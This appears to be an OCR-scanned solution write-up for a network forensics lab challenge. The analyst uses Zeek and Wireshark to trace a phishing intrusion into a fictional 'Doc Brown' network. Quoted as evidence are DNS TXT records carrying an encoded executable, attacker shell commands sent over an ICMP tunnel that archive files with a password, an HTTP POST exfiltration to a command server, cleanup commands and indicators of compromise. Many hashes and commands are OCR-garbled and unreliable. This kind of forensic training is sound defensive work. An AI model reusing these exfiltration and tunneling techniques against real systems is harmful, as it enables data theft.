.39.243 53 .e-brown-enterprises.com AEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.39.243 53 .e-brown-enterprises.com AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.39.243 53 .e-brown-enterprises.com zMzMzMzMucwvSQDpx tkBAMzMzMzMz L 1ILOKAEBZUBABOIDVHAO rzgUAW
.39.243 53 .e-brown-enterprises.com RCQEUGoA/XVEQUcAg3wkBAEPTwVQ50KAM/aNmwAAAABW / xVIQUcAhcAPL
.39.243 53 .e-brown-enterprises.com X0QkBERGRWDHRCQIREZHAMJE JAXERk cAx@QKEERGRWDHRCQUREZHAMAE]
.39.243 53 .e-brown-enterprises.com JEiLRCRY1UQKIItEJFZHRCQEREZHAMAE JARERkcAXOQKDERGRWDHRCQQR
.e-brown-enterprises.com JITEJCiJRCQs1UQKMITEIDSIRCQ41UQKPITEIESLRCRULUQKSILEIFIHR
.e-brown-enterprises.com AAAAXOYMAAAAAMZGEADOIQCAATIVGXSIEAMzMzMzMzMzMzMzMzMzMz FWL7
.39.243 53 .e-brown-enterprises.com AI202AAAAMZF /ALoOq8DAT tFCI1GQIVGZSdGXAAAXOZMAAAAAMAGUAAAA
.39.243 53 .e-brown-enterprises.com CIvBXOEENEZHAMCcBUHZHAMPMzMzMzMzMzMzMz IvRi18L30ECD4D8DwWomC8
.39.243 53 .e-brown-enterprises.com AwAAgB8AgLYIIAWAAGBAILYIMAWAAFUIY99BAgG+A/BRGDAAADWOMCCAQAA
.39.243 53 .e-brown-enterprises.com g8Ag1YIgBgAAgBAIiYIkBgAAULWI9BAG+A/ jYPACAAABTAGAAADWOMCT
.39.243 53 .e-brown-enterprises.com 1YH4AAAAGSAT 1YH8AAAATSLDZMzMzMzMzMxWi/EzyY1GBFDHBKR2RWCIC
.39.243 53 .e-brown-enterprises.com AABZXov1XcPMzMzMzMzMzMzMzMxV1+xq/2gwDUcAZKEAAAAAUFahdDBIA
.39.243 53 .e-brown-enterprises.com AIvxiw6FyXQcgH4QAHQM10YIA8BQUeiToQQA/zboYWEGATPEBItNIGSID
.39.243 53 .e-brown-enterprises.com 60K+BQCDXALNj9gAAADOtawDAIUPWAAAAMAF /AAAAACFyXQngL /QAAAAA
.39.243 53 .e-brown-enterprises.com 1+Vdw8zMzMzMzMzMzMzMzMzMVYvsav9org1HAGShAAAAAFBWOXQWSAAZX|
.39.243 53 .e-brown-enterprises.com AP+2RKYAAO1 3 /wUAG8QE147kpQAAXOXSAGAAATX JdCaAvvSTAAAAdA+Lh
.39.243 53 .e-brown-enterprises.com D4uGLKUAAAPAUFHoORp8EAP+2] WUAQ8QE1870AZ8CATtNIGSID

DNS Traffic in Zeek dns.log Indicated DNSFtp Activity

WO~NOUAWNR O

=
(<)

.39.243 53
.39.243 53

=
W N

cat dns.log |grep 'e-brown-enterprises\.com' |grep -P '\tTXT\t' |cut -f 22 |cut -f 3 -d
' ' > b64d.out
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| cat b64.out |base64 -di |xxd

is program cannc
t be run in DOS

mode. ...

Extracted/ Decoded TXT Content Revealed Wmdows Executable File

S cat b64.out |base6d -di > file.out
S md5sum file.out

eb24@24aBa46c?1303e@b18d@e1859f6 file.out
MD5 Hash of Extracted Executable
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Z 770d 7b5e406d9b0aﬁ5dOeSchccf‘?ba‘IOd4925d3441f38b7‘la35bd266668d98‘

@ No security vendors flagged this file as malicious

770d7b5e40ed9b0aff5d0e3fc2ccfobal0d4925d3441f38b71a35bd26e6e8d98
Command line RAR
: direct-cpu-clock-access  overlay peexe runtime-modules  signed
X Community N
Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Acronis (Static ML) () Undetected Ad-Aware
AhnLab-V3 @ Undetected Alibaba
AlYac () Undetected Antiy-AVL
Arcabit () Undetected Avast
Avira (no cloud) () Undetected Baidu

578.55 KB

Size

ooo

Q o e

2021-11-07 17:30:48 UTC

25 days ago

(“) Undetected
(“) Undetected
(“) Undetected
(¥) Undetected

(¥) Undetected

Hash Lookup in VirusTotal Showed 0 AV Hits — Command line RAR

©9/19/2621 12:12
89/19/2821 12:12
©9/19/2621 ©9:58
09/19/2821 ©9:16
09/19/2821 @9:16 592,432 output.bs4d
09/19/2821 ©9:58 892 run.bat

4 File(s) 1,185,871 bytes

2 Dir(s) 36,311,093,248 bytes free

<DIR>
<DIR> ..
115 dload.bat.bat
592,432 output

T2 222X

move output c:\tmp\l.exe
1 file(s) moved.

c:\Users\dbrown\AppData\Roaming\Adobe\updater>cd c:\tmp
cd c:\tmp

Directory of c:\Users\dbrown\AppData\Roaming\Adobe\updater

c:\Users\dbrown\AppData\Roaming\Adobe\updater>move output c:\tmp\l.exe

Decoded ICMP Payload Data Indicated Download of EXE File
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c:\eb_ideas\timemachine\flux_cap>..\1l.exe a f.rar -hptlm3m@CHineis@urz *.jpg
..\l.exe a f.rar -hptlm3m@CHineis@urz *.jpg

RAR 6.88 x86 Copyright (c) 1993-202@ Alexander Roshal 1 Dec 2020
Trial version Type 'rar -?' for help

Evaluation copy. Please register.
Creating archive f.rar
Adding flux_cap.jpg

..1eek. .. .. oK

c:\eb_ideas\timemachine\flux_cap>move f.rar c:\tmp
move f.rar c:\tmp
1 file(s) moved.

Decoded ICMP Payload Data Revealed Rar Activity

c:\eb_ideas\timemachine\DoLorean>..\1l.exe a d.rar -hptlm3m@CHineis@urz *.jpg
..\1l.exe a d.rar -hptlm3m@CHineiseurz *.jpg

RAR 6.00 x86 Copyright (c) 1993-2028 Alexander Roshal 1 Dec 2020

Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive d.rar

Adding dolorean_1.7jpg e

12%..... 0K

Adding dolorean_2.7jpg e
47%. .. .. 0K

Adding dolorean_4.7jpg

....1e8%..... OK

Done

Decoded ICMP Payload Data Captured Files Being Encrypted and Archived
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cat conn.log |grep -vP '\tudp\tdns\t' |less -S

.676445 CWS7k3lebVUvevf7 : o o 154.59 1.955918
.894429 CXqnr31fol4DsrIfk7 o .88. 2 .39.243 3.168809
.847497 CTbSW3jdyR1yCB52b o .88. 2 .39.243 0.901776
894946 CGVSzE1UQbkIp8Xe71 . .88. . .39.243 0.082448
.682634 CS2yDG4JIpNVTfheQl . .88. . .39.243 1703.199962
416490 CCwUj94a3LLDBSOMND . .88. . .39.243 732.967609

.674221 CBNrHX2M8ZAT2VX1A5 .168.88. .184.39.243 0.0800471
.502292 CB6XLF16IeqSDA0Xpe .168.88. .184.39.243 0.572584
.741042 C3jGVtq2WPjuuypM7F3 .168.88. .184.39.243 0.000924
.946645 CHR9301LM7yrOaphFl .168.88. .184.39.243 0.351029
.082061 ChZ7iI11nh4CuHL9c6 .168.88. .184.39. 0.000676
.564415 C6RZyb1YG5IsYsxxnd .85.167. .230.154. 1.426413

Filtered Zeek Logs (DNS Traffic Filtered Out)

[ [http and tcp.port==8000

No. Time Source Destination Protocol Length Info
23577 2021-09-20 01:48:33.674.. 192.168.88.55 137.184.39.243 HTTP 301 GET / HTTP/1.1
23579 2021-09-20 01:48:33.674.. 137.184.39.243 192.168.88.55 HTTP 559 HTTP/1.0 200 OK
23983 2021-09-20 01:48:49.073.. 192.168.88.55 137.184.39.243 HTTP 1027 POST / HTTP/1.1
23985 2021-09-20 01:48:49.074.. 137.184.39.243 192.168.88.55 HTTP 585 HTTP/1.0 200 OK
23998 2021-09-20 01:48:50.741.. 192.168.88.55 137.184.39.243 HTTP 339 GET / HTTP/1.1
24000 2021-09-20 01:48:50.741.. 137.184.39.243 192.168.88.55 HTTP 589 HTTP/1.0 200 OK
24112 2021-09-20 01:48:58.297.. 192.168.88.55 137.184.39.243 HTTP 1353 POST / HTTP/1.1
24114 2021-09-20 01:48:58.297.. 137.184.39.243 192.168.88.55 HTTP 585 HTTP/1.0 200 OK
24129 2021-09-20 01:49:00.082.. 192.168.88.55 137.184.39.243 HTTP 339 GET / HTTP/1.1
24131 2021-09-20 01:49:00.082.. 137.184.39.243 192.168.88.55 HTTP 619 HTTP/1.0 200 OK

Wireshark Filter (http and tcp.port==8000) Showed HTTP POST Traffic

fPosT / HTTP/1.1
Accept: text/ntml, application/xhtml+xml, */*

Referer: http://137.184.39.243:8000/

Accept-Language: en-US

Content-Type: multipart/form-data;

boundary=--------=-----ccccccmmooaoo 7€5197191001ce

User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.®; rv:11.8) like Gecko
Accept-Encoding: gzip, deflate

Host: 137.184.39.243:8000

Content-Length: 704693

Connection: Keep-Alive

Cache-Control: no-cache

————————————————————————————— 7e5197191001c0
Content-Disposition: form-data; name:"file";|filename:"d.rar"|
Content-Type: application/octet-stream

Rar!......}. o0 oc a.;..42d...... 7in(loooooc r..#.d...... Mh.2I g'..n..8.A.T..;..I-!
Alooollooooc [SocoalBocac W] 6 o cWlcoonoc = I

I.."KG4..9..... tziP. . ku=. .KU....?....... rs..1...#.a........ 5o o aBo@oaaoc G.N...NT.cH
WAL L LW e P ] IO L [T 2..0.A." ... i.7..{..#D\..T&.AS...m.P.
[ooofifollUo oo ~¥aoo8ofooalPoocon oo 8850 0o Voo \F;...."H.3...... | C;.t

HTTP Stream View in Wireshark Showed Rar File Exfiltrated
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savetheclock55@gmail.com Doc@e-brown-enterprises.com Fri, 17 Sep 2021 13:42:41 -0400 ClockTower Lady <savetheclock55@gmail.com>
Doc@e-brown-enterprises.com Fwd: 65th Annual Benefit Dinner

savetheclock55@gmail.com Doc@e-brown-enterprises.com Mon, 20 Sep 2021 08:26:43 -0400 ClockTower Lady <savetheclock55@gmail.com>
Doc@e-brown-enterprises.com **WE WERE HACKED! !**

Zeek smtp.log Showed Two Messages from Same Sender

X-Google-Smtp-Source: ABdhPJzJx/BXjFr2dtPcRM/ <
B8M46r fULUYpx1EygLBCHbcPQNJotELHrnv3xFoF6uJFn6V2po+yhvS8JywBLM4jrB9s=
X-Received: by 2002:a19:6be8:: with SMTP id dBmri194594101fa.87.1632140814649;
Mon, 20 Sep 2021 ©5:26:54 -0700 (PDT)

MIME-Version: 1.0

From: ClockTower Lady <savetheclock55@gmail.com>

Date: Mon, 20 Sep 2021 ©8:26:43 -0400

Message-ID: <CAGpG_jsCuH_dwWYN2UagxCcRYVpWY=8WiR91wSpw34MypV94BQQ@mail.gmail.com=>
Subject: **WE WERE HACKED!!**

To: Doc@e-brown-enterprises.com

Content-Type: multipart/alternative; boundary="0000800000007b0a8505cc6c6564"

--0PPEERPPEERREThbRaB505CcCcHCE564
Content-Type: text/plain; charset="UTF-8"

Doc,

Please don't open any emails from the Hill Valley Preservation Society! We
were hacked over the weekend and just notified by google that it may have
been an overseas hacker.

-Clock Lady

*"Ladies and gentlemen, as mayor of Hill Valley, it gives me great pleasure
to dedicate this clock to the people of Hill County. May it stand for all
of time!"*

*--Mayor Hubert, September 5, 1885*

--000EERPERRRAThbRaB505CcCcHCcE564
TCP Stream of SMTP Traffic — Email Message Informed Dr. Brown of Attack
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c:\tmp>del 1l.exe
del 1.exe

c:\tmp>del f.rar
del f.rar
c:\tmp\f.rar

Access is denied.

c:\tmp>del u.psl
del u.psl

c:\tmp>echo "THIS IS FOR R BROTHERZ WE LOST AT LONE PINE MALL!!"™ > SUCKIT.TXT

echo "THIS IS FOR R BROTHERZ WE LOST AT LONE PINE MALL!!"™ > SUCK

c:\tmp>

Decoded ICMP Payload Data — Attacker Cleaning up and Leaving a Message Behind

10Cs

e bf57cb1e6092a25830b5ca8765a49fab (2021-benefit.pdf — Attachment in email/phish)

o ebed2aal05e9c4c23ded0a62e03ad3785 (annual-benift.doc — Document containing VBA macro to
download savetheclock.jpg and start icmp tunnel)

e 57c456ab29c300ea9b7aa62fd9f20bal (icmpsh.exe — XOR/Embedded in savetheclock.jpg)

e hxxp://ebrown-enterprises[.]Jcom/savetheclocktower/annual-benift.doc (embedded link in PDF
Attachment)

e hxxp://ebrown-enterprises[.Jcom/savetheclock.jpg (JPEG Image with XOR/Embedded
Executable)

e ebrown-enterprise[.Jcom (Doppel Domain Controlled by Attackers)

137.184.39.243 (Attacker Command-and-Control Server)
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End Solution to Challenge
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The following approach can be taken to remove the UDP/443 traffic which removes added “noise”
from the capture.

192.168.88.85 142.251.45.100 QUIC 271 @-RTT, DCID=12967b79a0@bb19998b, SCID=c8d7c§
142.251.45.100 192.168.88.85 QUIC 1399 Protected Payload (KP@), DCID=c8d7c8
142.251.45.100 192.168.88.85 QUIC 651 Protected Payload (KP@), DCID=c8d7c8
142.251.45.100 192.168.88.85 QUIC 92 Protected Payload (KP@), DCID=c8d7c8
192.168.88.85 142.251.45.100 QUIC 255 Protected Payload (KP@), DCID=12967b79a@bbl
142.251.45.100 192.168.88.85 QUIC 121 Protected Payload (KP@), DCID=c8d7c8
142.251.45.100 192.168.88.85 QUIC 522 Protected Payload (KP@), DCID=c8d7c8
192.168.88.85 142.251.45.100 QUIC 78 Protected Payload (KP@), DCID=12967b79a@bbl

Frame 1: 1399 bytes on wire (11192 bits), 1399 bytes captured (11192 bits)
Ethernet II, Src: a4:d1:8c:d8:75:dc, Dst: f6:92:bf:5c:ed:8e

Internet Protocol Version 4, Src: 192.168.88.85, Dst: 142.251.45.100

User Datagram Protocol, Src Port: 57096, Dst Port: 443

QUIC IETF

QUIC IETF

QUIC IETF

QUIC Traffic Identified over UDP/443

Apply the following Wireshark filter, then save only packets displayed:

| !'(udp and udp.port==443)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am:@® T REQAC Y

.port==443)

No. Time ‘Source Lookin: | @ /home/ndFir/labs/1010 - A B ==
127 2021-09-17 17:42:55.447.. 209.85.16
128 2021-09-17 17:42:55.460.. 173.230.1

‘_’ Computer Name - Size Type Date Modified

Came . @ artifacts Folder 12/3/21 2:57 AM
129 2021-09-17 17:42:55.627.. 209.85.16 i ndfir @ tmp Folder 12/3/21 2:35 AM
e o icmp.pcap 1.34 MiB pcap File 11/29/...:57 PM
el AR I AR (R e = lab-1010-challenge.pcap 20...iB pcap File 9/20/2...:56 PM

» Frame 134: 54 bytes on wire (432 bits),
» Ethernet II, Src: Cisco e8:4f:cl (04:c5:
» Internet Protocol Version 4, Src: 209.85.] _
S Fil : no-UDP-443
» Transmission Control Protocol, Src Port: lé Dame: |no

Ocancel
Exportas: Wireshark/tcpdumpy... - pcap [ @welp

Packet Range Compress with gzip

Captured |'® Displayed

® All packets 25485

Selected packets only 1

0000 f2 3c 92 20 5b d4 04 c5 a4 es 4f (=

Wireshark used to Save Only displayed Packets

: $ ls -lah lab-1010-challenge.pcap no-UDP-443.pcap
-rw-rw-r-- 1 ndfir ndfir 207M Sep 20 23:56 lab-1010-challenge.pcap

-rw-rw-r-- 1 ndfir ndfir 3.9M Dec 3 03:09 no-UDP-443.pcap
Reduced pcap Size from 207MB to 3.9M

© 2021 0Byte Offset, LLC

DO NOT DISTRIBUTE



